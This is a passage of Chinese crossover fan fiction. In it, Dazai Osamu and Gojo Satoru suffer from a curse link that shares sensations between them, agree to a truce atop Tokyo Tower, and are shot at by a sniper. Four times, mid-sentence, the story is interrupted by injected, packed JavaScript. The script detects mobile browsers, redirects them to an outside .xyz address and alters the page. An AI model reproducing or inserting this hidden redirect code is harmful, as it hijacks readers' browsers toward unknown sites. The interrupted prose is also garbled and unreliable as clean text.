国木田推了推眼镜,拳头捏紧:“你对我的作战计划,有什么不满吗?需要用这么激烈的肢体语言来表达?” “不……不是……” 太宰治声音发颤,他努力维持镇定,但身体细微的抖动出卖了他。 他能感觉到,一股压力正在他的后腰附近……慢条斯理画着圈,让他麻痒难当。 那种恶劣撩拨,除了五条悟不会有别人! “只、只是突然觉得……国木田君的计划……精妙得让我……情不自禁……战栗不已!” 社内一片安静。 与谢野晶子挑起眉,露出一个意味深长的笑容:“哦?哪种战栗?细说一下?” 中岛敦担忧地看着他:“太宰先生,您真的没事吗?脸好红啊……” “没!事!” 太宰治几乎是咬着牙坐下…… “可能是……热的!对,今天空调不太足!” 同日,东京咒术高专训练场上,五条悟正在指导伏黑惠进行领域展开的初步训练。 他抱着胳膊,姿态悠闲,嘴里指点江山道:“对,感觉要出来了吗?就是那种……嗯……” 然后,他的指导戛然而止,眼罩下的眼睛因为难以置信而睁大。 感觉果然出来了——突如其来,奇奇怪怪,顺着他的脊椎,一路向上,直窜上天灵盖,差点让他腿软。 “五条老师?”伏黑惠维持着结印的手势,疑惑地看着突然僵住,且表情古怪的老师。 钉崎野蔷薇和虎杖悠仁也凑了过来。 “老师,您怎么了?肚子疼?”虎杖真诚发问。 五条悟深吸一口气,强行把冲到嘴边的脏话咽回去,挤出一个扭曲的笑容: “没……惠的潜力……真是让人……激动到浑身发抖啊!” 他心里,已经把太宰治用各种方式诅咒了一百遍,那混蛋绝对是在报复会议被打断的事。 “真的吗?”伏黑惠半信半疑。 五条悟努力站直,试图忽略还在持续作乱的诡异感觉:“当然!老师这是……欣慰的颤抖!其他人也要努力,争取让老师也为你们抖一抖!” 学生们:“……” 总觉得有哪里不太对劲。 类似的场景开始频繁上演,频率高到周围的人再也无法用“偶然”来解释了。 夜蛾正道把五条悟叫到校长室,看着自己这个最强也让他最头疼的学生,沉痛问道:“悟,你最近……是不是身体有什么隐疾?比如……间歇性癫痫?或者神经系统方面的问题?” 他实在无法理解,为什么有人会一边祓除咒灵,一边突然脸红喘气,或者好端端说着话,就突然腿软扶墙。 五条悟大言不惭,信口开河:“校长,这是一种最新的修行方式。通过模拟极端情绪波动,来锤炼精神意志!我正在体验人生的酸甜苦辣,以便更好地理解这个世界!” 夜蛾:“……说人话!” 五条悟:“好吧,其实是吃了过期的喜久福,产生了幻觉。” 夜蛾:“……出去。” 另一边,国木田也严肃地找太宰治谈话:“太宰!你必须老实交代。你最近总是突然面色潮红、呼吸急促、行为怪异……你是不是……” 国木田压低了声音,像在说什么见不得人的话:“……偷偷沾了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389697|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该沾的东西?比如……违禁药品?” 太宰治立刻摆出一副深受侮辱的表情:“国木田君,你怎么能这样想我?我是那种人吗?” 他随即捂住胸口,眼神飘向窗外,语气变得忧郁而诗意:“我只是一不小心……触碰到了这个世界过于炽热的灵魂……那热度灼伤了我,让我情不自禁地战栗……” 国木田面无表情地合上笔记本:“……说人话!” 太宰治:“好吧,其实是尝试了与洗衣机滚筒共舞的新式自杀法,后遗症。” 国木田:“……滚去写报告。” 最惨的大概是虎杖悠仁。 某次任务中,他正和五条老师配合默契,眼看就要祓除一只一级咒灵……突然,毫无征兆中,旁边的五条悟发出一声可疑呻吟,脚下一个踉跄,咒力输出瞬时紊乱,差点把虎杖一起轰飞。 “老、老师?您怎么了?”虎杖惊魂未定。 五条悟扶着墙,喘了口气,他咬牙切齿地对着空气骂了一句:“……你等着。” 然后对虎杖露出一个杀气腾腾的笑容:“没事,刚刚有一只特别烦人的‘青花鱼咒灵’偷袭了老师。” 虎杖:“?” 青花鱼……咒灵? 而武装侦探社这边,中岛敦也遭遇了职业生涯的挑战。 一次护送任务中,他和太宰先生同行。突然,太宰治停下脚步,靠在巷子墙壁上,额头抵着冰冷砖石,肩膀微微颤抖,耳根红得滴血,像在忍耐极大的痛苦……或者别的什么。 “太、太宰先生!您又发病了吗?”中岛敦急得团团转,“这次是什么?是感受到了世界的悲伤,还是洗衣机的召唤?” 太宰治艰难地抬起头,眼神湿润,声音沙哑:“敦君……快……给我一拳……” “啊?” “把我打晕……快……不然我可能……会做出……不优雅的事情……” 他实在受不了五条悟那边,变本加厉的“报复性抚摸”了…… 中岛敦差点哭出来:“到底哪种自杀法,会有这种后遗症啊?” 这种“一个突然发病,另一个不久必然同步异常”的默契,终于引起了某人的警觉。 表面上已跳槽,但身份依然微妙的森鸥外,看着下属送来的报告,微微眯起眼睛,露出了一个狐狸般的笑容。 报告里,详细记录了太宰治近期,多次在公开场合行为异常的情况,附带的照片上,清晰捕捉到了他面色潮红、呼吸急促、甚至偶尔腿软需要扶墙的瞬间。 而几乎同一时间,安插在咒术界的眼线也传来消息,那位传说中的“最强”咒术师五条悟,近期也频繁出现类似的不明原因的“突发性生理失调”,甚至影响到了任务执行。 森鸥外:“爱丽丝酱,你说……这世上有这么巧合的事吗?” 金发小女孩一边画着画,一边头也不抬:“林太郎是大变态,肯定在想不好的事情。” 森鸥外低笑:“我只是觉得,我们这位前任干部,似乎和咒术界的‘最强’,发展出了一段……非常有趣的友谊呢。这或许……是个值得关注的新变量。” 17. 第17章 当五条悟又一次,因为“突然不适”,而闯进学校医务室瘫着后,家入硝子终于忍不住点了根烟,语气麻木地问: “所以,你那个过期的喜久福还没拉完肚子?持续时间是不是太长了点?从上周三到现在,你就没消停过。” 五条悟瘫在沙发上,眼珠转了转,说道:“额……这次是因为……吃了过期一年的……饼干……所以后劲很大。” “饼干在你这里能存一年?” 五条悟停顿了一下,表示——饼干来自可爱的学生,是充满爱意的手工制作,但可能因为原料放置过久,保存不利,综上所述,变成了相当于过期一年的最终效果。 硝子叼着烟,脸上没什么波澜:“所以,这次饼干的后遗症,是间歇性面部升温,皮下毛细血管莫名扩张,以及局部肌肉群不自主痉挛?” 五条悟露出一个无比浮夸的笑容,试图蒙混过关:“硝子,你描述得这么详细,我会怀疑你在偷偷关心我哦!是不是被我的魅力俘获了?” 硝子懒得理他的插科打诨:“少来。你最近这些症状,发作得很有规律。而且,据我观察,似乎总在你没什么外部损伤的情况下发生。” 她停顿须臾,抬眼瞥向他:“悟,你老实说,是不是和那麻烦的诅咒链接有关?” 五条悟心中打鼓,但脸上笑容丝毫未变,甚至把眼罩推得更高了些,露出那双号称“最强”,此刻却有点心虚的眼睛…… “怎么可能!老子可是‘最强’!那个诅咒链接能坑到我?硝子你想多啦!就是吃坏东西了,肠胃不适,连带……神经抽搐,对,神经抽搐!” 开什么玩笑,难道要他坦白,自己正和某个绷带怪,隔空进行幼稚的感官互殴吗?这种丢人到家的事,打死也不能说! 硝子怀疑地瞟他一眼:“你确定?我是医生,你不需要对我隐瞒。你确定……不是那个见鬼的链接又作妖了?” 这家伙现在,动不动就像个突然触电的跳跳虎,虽说确实类似神经抽搐,但这个频率和范围,也太不正常了。 五条悟故作惊讶,皱起眉,做西子捧心状:“哎呀呀,怎么会?硝子你今天怎么跟审犯人似的?我们之间,连最基本的信任都没有了吗?如果是链接的问题,我肯定第一个向你求救啊!我对你向来都是知无不言,言无不尽,对吧?” 硝子嗤笑一声:“你的求救,通常就等于——‘帮我收拾烂摊子’。 她又严肃起来:“你给我少贫。链接就是链接,它的不稳定性和进化可能性,才是最麻烦的事。你最近这些新症状,波动频率和之前单纯共享痛觉时,完全不同。告诉我,那该死的链接,是不是又进化了?出了什么新问题?” 进化?五条悟噎了一下,何止是进化,它他妈简直开辟了新赛道,直接跨入成人频道了好吗! 但能说吗?难道要他跟硝子坦白,现在不仅共享痛觉,还共享了那种……让人头皮发麻、腿脚发软、恨不得宰了对方,又有点停不下来的诡异……快感? 这念头出来,让他自己都一阵恶寒,起了一层鸡皮疙瘩。 不行!这要是传出去,他的名号还要不要了?“最强”大概会立马沦为“最骚”。 一定会变成史上最丢人的传说吧!绝对会被笑话的! 五条悟坚决否认,并且开始狂妄道: “进化?哈哈哈怎么可能……笑死人了……能有什么问题?天塌下来,老子的‘无下限’都兜得住,何况一条小破链接?轻松hold。” 然后,他飞快地把眼罩拉回去,遮住可能泄露情绪的眼睛,决心守住这……丢人的秘密。 横滨这边,同样的剧场也在上演。 某日,与谢野晶子直接把太宰治堵在了医务室门口。 她手里倒是没拿那把招牌电锯,但环抱双臂的姿态,带来的压迫感丝毫不减。 医生小姐笑容甜美,语气危险:“太宰,你最近的病,病程绵长,症状清奇,很有研究价值啊。” 太宰治打哈哈:“哪里哪里……过奖过奖……” 与谢野瞪他一眼:“你那个‘与滚筒洗衣机灵魂共鸣’的戏码,该收一收了。需不需要我帮你治疗一下?保证药到病除,再也没有任何烦恼。” 太宰治一惊,冷汗都快下来了:“晶子医生,真的不用!我觉得……我快自愈了!” “自愈?” 与谢野凑近一步,压低声音:“你确定不是……被什么特定的人……隔空‘治疗’了?” 太宰治干笑着后退,试图用笑容化解危机:“哈哈……晶子医生您真会开玩笑……” 与谢野见他不说,于是开门见山道:“那诅咒链接,我知道。痛觉共享,我也知道。你最近这死出……和它有关吧?” 太宰治立刻摆出那副……仿佛随时准备为虚无献身的忧郁表情:“啊,晶子医生,您果然洞察一切……这份命运的馈赠,早已在暗中标好了价格,是我生命不能承受之重……这条沉重的命运纽带,正是我艺术般人生的苦涩注脚……” 与谢野不耐烦地打断,微微前倾道: “注脚你个头!别跟我演,链接就是链接,诅咒这种东西,最擅长得寸进尺。你最近这些反应,无论是强度、性质,还是你那副欲说还休的死样子,都和单纯挨揍疼哭不一样。老实交代,那链接是不是变异了?到底附加了什么麻烦的新效果?” 听罢,太宰治眼底闪过一抹慌乱,但面上那副虚浮的表情,还是依然焊在了脸上。 新效果?难道要他承认,现在不仅能隔空挨揍,还能隔空骚扰,以及隔空被骚扰,甚至被那个白毛人渣摸到……发虚吗? 这想法,让他胃里一阵翻腾。 这种话怎么可能说得出口?可比一百次失败的自杀加起来,还要丢人啊! 他感觉,绝对会成为被国木田君写进手册的反面教材,然后流传千古…… 于是,太宰治立刻让表情变得更加飘忽,声音如梦呓般:“变异吗哈哈……晶子医生您真是的……链接只是偶尔会有些……嗯……无关痛痒的杂质罢了,像坏掉的灯泡一样闪烁不定。” 接着,他试图把话题引向虚无缥缈的方向:“您放心,像我这样……致力于追寻死亡真谛的人,是不会被这种小事困扰的……对啦,我还得去帮国木田君整理文件呢,先走啦……” 言毕,太宰治就滑走了…… …… 相隔甚远的两人都意识到,事情大条了。 他们早已发现,这种突如其来的感官共享,远比痛觉共享更烦人,简直是对工作效率的毁灭性打击。 再这样下去,迟早要完。不是被对方玩死,就是被自己人当成精神病或者瘾君子处理掉。 某天深夜,在又一次隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389698|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着链接,互相折磨到精疲力尽的激烈“交锋”之后,两人几乎在同时,拿起手机,拨通了对方的电话。 而听到的,是线路繁忙提示音…… 他们同时挂断,又同时再次拨打。 再次线路繁忙…… 第三次,终于通了。 两人异口同声,声音里都带着咬牙切齿的疲惫和愤怒: “你够了!不能再这样下去了!” 短暂的沉默。 五条悟先开了口,语气是前所未有的烦躁:“混蛋青花鱼!你知不知道,老子今天差点在评议会上出丑!那群烂橘子本来就够烦人了!” 太宰治的声音同样火大:“人渣眼罩!那你知不知道,今天你那破链接突然发癫,我差点在潜入任务里,因为你的骚扰而暴露?被发现的话,可是会被打成筛子的!” “是你先动手的!” “是你先挑衅的!” “我不管!你必须停下这种白日宣淫的行为!” “这话原样奉还!你这个随时随地发情的混蛋!” 又是一阵沉默。 他们都清楚,指责对方毫无意义,因为,这根本就是一场停不下来的恶性循环。 “……喂,”五条悟的声音低沉下来,带着不易察觉的妥协,“这样下去不是办法。我的学生和校长,已经开始用看病人的眼神看我了,硝子可能也猜到了部分。” 太宰治叹了口气,揉着眉心:“同感。国木田君甚至开始偷偷记录我的‘发病’规律了,估计是想写进他的理想手册,以警示后人。” 他们罕见地,短暂达成了一致——这日子没法过了。 “得想个办法。”五条悟说。 “同意。”太宰治答。 但,能有什么办法?这诅咒链接又不像电脑插头,说拔就能拔。 “见面。”五条悟突然说,语气果断,“必须当面谈谈。隔着电话和这该死的链接,根本说不清,只会互相添乱。” 太宰治沉吟了片刻,虽然极度不想见到那个白毛人渣,但似乎……这是唯一的出路。至少面对面,还能阻止对方随时随地的“远程操控”。 “时间和地点?”他言简意赅。 “明天下午三点,地址我发你。敢放鸽子,你就死定了!”五条悟恶狠狠地威胁道。 “这句话,同样送给你。”太宰治冷哼。 电话挂断。 五条悟看着手机,皱紧了眉。 见面真的能解决问题吗?他对此深表怀疑。 但至少……得先让那家伙停止这种无差别攻击! 太宰治放下手机,眼里也闪过一抹疑虑。 和那个灾难聚合体见面……总感觉会发生更糟糕的事情。但眼下,似乎也没有更好的选择了。 他们都怀着一种“解决麻烦”的沉重心情,约定了一场注定不会平静的线下会谈。 然而,他们都不知道的是,这场会谈的讯息,并非只有他们两人知晓。 …… 森鸥外看着屏幕上,被拦截破译、来自五条悟的简短定位信息,露出了一个意味深长的笑容。 “横滨……和东京的‘最强’会面吗?真是令人期待的场面啊。”他轻声自语,指尖轻轻敲击着扶手。 “爱丽丝酱,看来我们需要稍微……关注一下这场有趣的聚会了。” 18.第18章 东京塔顶的风,凶猛地拍打着太宰治的外套。 他低头看了眼腕表——九点零二分,比约定时间晚了两分钟。 “人渣教师又迟到?”他对着风轻笑,声音被吹散。 话音刚落,身后传来脚步声。 五条悟叼着根棒棒糖,从安全通道转出来。他随手把糖纸团成球,扔进三米外的垃圾桶。 他走到太宰治面前,含糊不清地说道:“抱歉啊,在楼下看到只流浪猫,逗了它几分钟。” 三百三十三米高空,整个东京在脚下,铺展成一片闪烁荧光,显得遥远而疏离。也似乎在提醒他们,此刻的孤立无援。 太宰治单手撑着防护栏,绷带被风掀起一角:“选这里谈判,是怕谈不拢时,跳楼比较方便吗?我倒是很乐意奉陪,毕竟风景独好。” 五条悟嗤笑道:“氛围,懂不懂,青花鱼?高层对话,就得在高处。再说……” 他咔嚓一声咬碎糖果,“……这里离天堂比较近,适合为你这种……罪孽深重的灵魂超度。” 然后,他从纸袋里,拿出一个小巧精致的草莓蛋糕,递过去,笑容灿烂却可疑:“伴手礼,糖分能促进多巴胺,说不定能让你少惹点麻烦,算是为世界和平做出微小贡献。” 太宰治瞥了眼蛋糕,没接:“下毒了?还是泻药?五条先生的品味,大概觉得这两种,都是点睛之笔的调味料吧?” “真伤人……是那家限量的‘甜蜜死刑’哦,排队一小时呢,我对约会都没这么有耐心。” 五条悟自己挖了一大勺送进嘴里,夸张地眯起眼:“嗯……果然,糖分才是人类的终极救赎!比咒力好用多了,不会随便爆炸。” 太宰治轻笑,手腕一翻,摸出一罐黑漆漆的饮料:“礼尚往来,横滨特制风味咖啡,专为清洗……你被糖浆糊住的大脑。喝一口,保证你对人生,有新的理解和感悟。” 五条悟盯着那个罐子:“哇哦,这才是真正的杀伤性武器吧?港口黑手党的新研发?” “武装侦探社的友好慰问而已。”太宰治晃了晃罐子,“不敢喝吗?看来所谓‘最强’,也有怯场的时候。” “交换,谁怕谁。”五条悟把蛋糕又往前递了递。 两人对视一眼,同时接过对方手里的东西。 五条悟捏着鼻子,灌了一口咖啡,一副视死如归的表情…… 然后,他脸皱成一团,骂道:“这破玩意儿是什么垃圾……能让人喝出幻觉吧,我好像看见地狱在向我招手了。” 太宰治则小心翼翼地尝了一口蛋糕,瞬间被甜得齁住,眼睛都瞪大一圈,表情管理彻底失败。 “你们咒术师的味蕾,都是和咒灵借的吗?这甜度是人能接受的?” “比某些用绷带和洗洁精当主食的自杀狂好!至少我的味蕾还活着,你的怕是早就殉情成功,彻底麻木了吧?” 第一回合,平手。双方都在评估对方的精神污染程度。 五条悟把剩下的咖啡抛进远处的垃圾桶,拍了拍手,试图把那股恶心的味道从记忆里删除,然后神色稍正。 “说正事,青花鱼。为了揪出那个给我们绑了红线……不,是绑了炸弹的混蛋,你得跟我合作,毕竟,我们现在是一条绳上的神经病,一损俱损,一疯俱疯。” 太宰治慢条斯理地舔掉指尖的奶油,动作优雅得像猫,眼神却冷得像冰:“合作?像刚才交换毒药这样?我们俩的‘合作’,听起来,就像是殉情的另一种说法。” “哇,说得这么难听。这应该叫强强联合,为民除害。” 五条悟贴近,高空的强风掀起他的银发,他俯下身,呼吸擦过太宰的耳廓。 他掀开眼罩,让“六眼”彻底暴露在空气中,苍蓝色瞳孔里,似有火星在燃烧,蛊惑人心,又洞察一切。 “听着,找出那个下咒的混蛋,把他揪出来,碾成宇宙尘埃——这是方案A。或者… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399171|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 他声音压低,拖长语调: “……我们先签个临时停火协议,学会怎么让彼此舒服地活下去?” 太宰治瞳孔微缩,没有立即回答。 五条悟深吸一口气,道:“比如,约法三章,控制一下那些危险又迷人的‘感官小实验’,频率和地点不要如此随机……我上课很忙的,不想总因为某条青花鱼在横滨伸个懒腰,就在东京炸掉一面墙。我的教师评价,已经快跌穿地心了。” 五条悟离太宰治太近,指尖几乎要碰到太宰缠绕绷带的脖颈,却又恶劣地停住,像威胁,也像挑衅…… 太宰治藏在风衣下的手,悄悄按上了枪柄,冰凉触感透过布料,渗入皮肤,他嘴角却弯起一个微笑。 “五条先生,”他声音轻飘飘的,“你这提议听起来……很像婚前协议。怎么,终于对我的身体,感兴趣到这种地步了?可惜,我比较喜欢主动。” 五条悟啧了一声:“少往自己脸上贴金,我只是在维护我宝贵的睡眠和教学质量。” 太宰治轻笑:“真巧,我也觉得‘最强’的称号,含水量过高,尤其是智商方面。连个诅咒链接都搞不定,还好意思叫最强?” “总比‘自杀狂’听起来靠谱点。哦,抱歉,我忘了,你连自杀都屡战屡败。” “殉情是艺术,需要天时地利人和,你这种脑子里只有甜食的怪兽当然不懂。” 语言交锋,两人依旧打个平手,空气里丁零当啷作响,全是刀光剑影。 就在太宰即将发表高论的瞬间…… 五条悟脸上的戏谑瞬间蒸发。 “啧,扫兴。”他嘟囔一句,没有预兆和声响,太宰治只觉一股无法抗拒的力量,突然箍住他的腰。 天旋地转间,整个人就被五条悟狠狠扑倒在冰冷的铁质塔顶平台上! 着地的冲击力,通过链接,翻倍地反馈回来……闷痛在全身炸开,让他顿时窒息。 19.第19章 几乎同一时刻…… 砰! 一发狙击子弹,擦着太宰治刚才站立的位置,呼啸而过,击穿了他身后的一根钢缆,迸发出一声巨响,和一簇刺眼火花! 一切发生在电光石火之间。 五条悟的手臂,还牢牢圈在太宰腰上,两人倒地的姿势堪称狼狈,但“无下限”术式已然无声展开,形成一个防御领域。 他撑起身,目光如刀,扫向子弹来袭的黑暗。 “看来,有听众等不及我们的谈判结果,想直接帮我们快进到……殉情环节了。”五条悟语气轻佻,眼神却很冷。 太宰治躺在地上,急促地喘了口气。 并非因为惊吓,而是因为刚才那一瞬间——五条悟扑过来时,手臂的力量,两人身体紧贴的触感,倒地时撞击的闷痛……所有感觉,都被诅咒翻倍放大,混乱地冲击着他的感官,比子弹本身,更让他心神失守。 而且有一点他还没弄明白——当五条悟俯身逼近时,他按在枪上的手,最终为何没有拔出? 是判断无需出手,还是……一瞬间的信任?好吧,后者想想就让人恶心。 太宰治推开五条悟,迅速翻身靠向掩体,动作略显仓促。主要为了将刚才过电般的触感,赶紧从皮肤上甩掉。 “……你的仇家?”他声音有点喑哑,试图用嘲讽,掩盖那一瞬的失态,“业务范围真广,从咒灵到狙击手,五条老师果然‘交友’遍天下,质量还参差不齐。” 五条蹲在他旁边,歪头看向子弹射来的方向,嘴角咧开一个狂妄的笑: “怎么,嫉妒啊?也可能是追随你这条青花鱼来的呢,毕竟你比较欠炖。” 塔下的阴影中,一个模糊身影,迅速收起长管狙击器械,退入更深的黑暗,悄无声息,消失得无影无踪。 太宰治缓缓吐出一口浊气,理顺被风吹乱的头发,声音恢复了往常的悠闲:“看来,我们的‘家务事’,吸引了一些看热闹不嫌事大,甚至想亲自下场搅局的热心观众。” 五条悟站起身:“所以,合作意向达成?暂时性的?” 他伸出手,居高临下,笑容灿烂:“先把这些烦人的苍蝇清理干净,再讨论……我们内部怎么互相折磨?” 太宰治没有立刻回应,他的目光扫过五条悟胸前晃荡的墨镜…… 刚才,就在被扑倒的混乱瞬间,他眼角的余光清晰捕捉到——在光滑的墨镜镜面上,远处某栋更高的大楼楼顶,有一个细微反光点,一闪而过。 那不是狙击镜的反光,角度不对,光泽也更冷硬…… 像是某种监视器的镜头,冷静地记录着一切。 太宰治缓缓抬起手,没有握上去,而是用指尖轻轻碰了碰五条悟的指尖。一个一触即分的短暂接触,近乎挑衅。 他终于开口,鸢色眼睛里看不出情绪:“临时停火协议……仅限于……联手弄死那些不开眼的蠢货。” 五条悟愣了一下,随即展开更灿烂的笑容:“成交!就知道你这家伙别扭得要死!” 他收回手,插进口袋:“走吧,下去会会我们的‘粉丝’……希望他买了足够的保险。” 太宰治跟在他身后,约半步远的位置,似一道影子,眼底却暗流汹涌。 两人一前一后走向出口,步伐看似随意,却奇异地保持着一种攻守兼备的间距。 他们的临时停火协议,达成得突兀又理所当然,如两颗磁极相反的磁石,在被外力强行摁到一起后,暂时维持着一种危险平衡。 但两人都心知肚明,这平衡非常脆弱,可能因为一颗糖的甜度、一句嘲讽的力度、或者下一次不知从何而来的子弹,而彻底崩碎。 薄如蝉翼,全靠共同的敌人来维系。 他们没有走常规的观光电梯,选择了紧急通道。 五条悟一脚踹开沉重的防火门,楼梯间里,空旷回音敲打着寂静。 “所以,刚才吓傻了?连你那把装饰用的枪都忘了拔?”五条的声音在楼梯间里回荡,内里是漫不经心的探究,他指的是太宰最终未出鞘的那把枪。 太宰治的脚步,轻得像暗夜的猫,声音也飘忽不定:“只是突然觉得,在‘最强’身边还需要自己动手,未免太不給面子了。而且……” 他停顿少许,语气带上了微妙嘲讽:“万一走火打到你,岂不是要我自己再疼一遍?亏本买卖,我不做。” 五条悟嗤笑一声,没再追问。 青花鱼的嘴,骗人的鬼,他当然不信。这家伙的脑回路,比迷宫还绕,但眼下,他更关心另一件事。 他的“六眼”在踏入楼梯间的瞬间,就已经雷达般,扫过每一个角落,捕捉着任何残留的能量痕迹。 狙击手撤离得很干净,几乎没留下咒力或异能波动,但这反而更可疑——普通狙击手,怎么会精准找到东京塔顶,时机还抓得这么准,正好在他和太宰谈判到最关键,也最容易分心的时刻? 而且……直觉告诉他,刚才那发子弹,只是试探而已,伤人的目的反而是其次。 塔下,人群因刚才钢缆断裂的巨响和火花,引起的小范围骚动已经逐渐平息,保安正在疏散人群,并拉起了警戒线。 五条悟和太宰治如鬼魅般,从紧急出口闪出,混入渐渐散去的人流,没有引起任何注意。 “分头找?效率更高,也省得相看两厌。”太宰治提议,眼神却扫向远处那栋更高的,曾在他眼中,闪过反光的大楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416410|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行啊,”五条悟咧嘴,目光投向狙击手可能撤离的相反方向,“看谁先揪住老鼠尾巴吧……” “可以,那就这样吧,走了。”太宰治转身,没入了夜色下的巷口,动作流畅自然,仿佛本就是夜色的一部分。 五条悟看着他消失的方向,嘴角的笑意慢慢收敛。 刚才那一瞬间,除了狙击子弹的威胁,还有一种更隐蔽,且令人不快的被窥视感,蔓延过他后颈。 他的六眼,或许没有直接看到那个监视点,但那种被注视的直觉,错不了。 与此同时,塔底附近的街角,江户川柯南的眉头拧成了一个小疙瘩。 他利用小孩的身份和人群的混乱,悄悄靠近了狙击手可能潜伏过的区域,在地上,发现了一枚非制式的弹壳。 他小心翼翼地用手帕包起,正准备进一步观察,就看到了那两个身影一前一后,气氛诡异地从紧急出口出来,然后迅速分头消失在夜色中。 “果然……不是普通人。”柯南低声自语。 他们的反应太冷静,尤其是那个曾见过的高个子白毛,在遭遇狙击后,脸上居然还带着那种兴奋…… 而且他们分开行动的方向,一个指向狙击手撤离的路径,另一个则指向……柯南抬头望向远处那栋商业大厦的楼顶…… 难道还有第二个观察点? 他立刻拿出手机,拨通了灰原哀的电话:“灰原,我可能找到了点东西,一枚奇怪的弹壳。另外,那两个人……他们好像被不止一方势力盯上。” 另一边,孤爪研磨盯着手机屏幕,把刚刚拍下的塔顶模糊视频,放大了两倍。 画面里,两个身影似乎极近,然后其中一个突然动了了一下,另一个随之消失。 黑尾铁朗凑过来,摸着下巴:“啧啧,刚才塔顶是不是有什么东西闪了一下?现在的年轻人,约会都玩得这么刺激?高空动作片?” 研磨面无表情:“赌一万日元,是谋杀未遂。” “哇哦,那就赌是情趣play!”黑尾咧嘴笑,“输的人,包下个月游戏氪金。” “绝对是谋杀未遂,你看那动静!”研磨坚持自己的判断,手指飞快地在手机屏幕上滑动,将他拍到的模糊视频和照片,导入一个加密的分析软件。 “得了吧,小研磨,你就是缺乏浪漫细胞……”黑尾的话,说到一半停住了,因为研磨的表情变得有些认真。 研磨没回答,只是将手机收回口袋,抬头望了一眼……隐没在夜色中的塔尖。 因为他发现,手机不仅拍到了模糊的狙击枪火焰,背景里,还无意中捕捉到了远处,另一栋大楼楼顶,一个几乎与环境融为一体的……黑色方形轮廓…… 20.第20章 五条悟沿着狙击手撤离的路线,追踪了几个街区,痕迹彻底断了。 显然,对方极其擅长隐匿和反追踪。 “溜得这么快,属泥鳅的吗?”他不爽地“啧”了一声,拿出手机,拨通了一个号码:“伊地知,查一下半小时前,东京塔顶狙击事件的周边所有监控,尤其是……” 他报出了那栋监视点大楼的名字和大概方位:“……楼顶的访问记录,和可疑信号传输。对,现在就要。” 而太宰治,则闲庭信步般,溜达到了那栋商业大厦楼下。 “真是个好视角,适合看戏。” 他抬头望了望高耸入云的楼顶,然后,绕到了后巷。 在一个不起眼的垃圾桶旁,太宰治蹲下身,拈起了一小颗金属。 “葛叶……”他念出这个姓氏,冰冷而厌恶。 一小时后,五条悟和太宰治几乎同时回来,两人手里都拿着东西。 五条悟把伊地知刚发来的初步报告摔在桌上:“监控被干扰了,狙击手没拍到正脸,像个幽灵。不过你猜怎么着?你盯上的那栋楼,楼顶的安保系统在那个时候,有个持续了五分钟的‘例行维护’窗口期。巧不巧?” 太宰治挑眉:“这巧合,简直是在嘲笑我们的智商。” 他把那个金属颗粒轻轻放在报告旁边,两人看着桌上的两样东西,沉默了片刻。 五条悟率先打破沉默:“所以,老鼠不止一窝。一窝在行动,一窝在看戏,或者说,在记录数据?” 太宰治拿起那颗金属,在指尖把玩:“或许,狙击本身,也是数据收集的一部分。测试我们在突发危机下的反应,以及……链接的稳定性。用子弹来做问卷调查,真是别出心裁。” “我们这是被当成真人秀主角了?” 五条悟走到窗边,看着东京的夜景,声音冷了下来:“不管是谁,把老子当小白鼠……”他转过身,“合作内容追加一条:把这些藏在阴沟里的家伙,一个一个揪出来。” 太宰治迎上他的目光,微微一笑:“正合我意。” 窗外,对面大楼某个黑暗的房间里,一台显示器正闪烁着微光。 屏幕上,分割着两个画面:东京塔附近的街区地图,上面分别标记着五条悟和太宰治分头行动的轨迹。 …… 家入硝子把自己埋在高专禁书库的旧书堆里,已经连续熬了三个晚上。 她黑眼圈浓重,被人揍了两拳似的,但那双眼睛却非常明亮,是属于研究者发现关键线索时,闪现的光芒。 她手边,摊开了几本封面奇异的古籍残卷,以及一叠她亲自整理的,关于五条悟近期,生理指标的异常报告。 数据杂乱,但指向一个令人匪夷所思的方向。 某些反应模式,更像是对应着……愉悦或兴奋的生理状态。 虽说感觉……too much 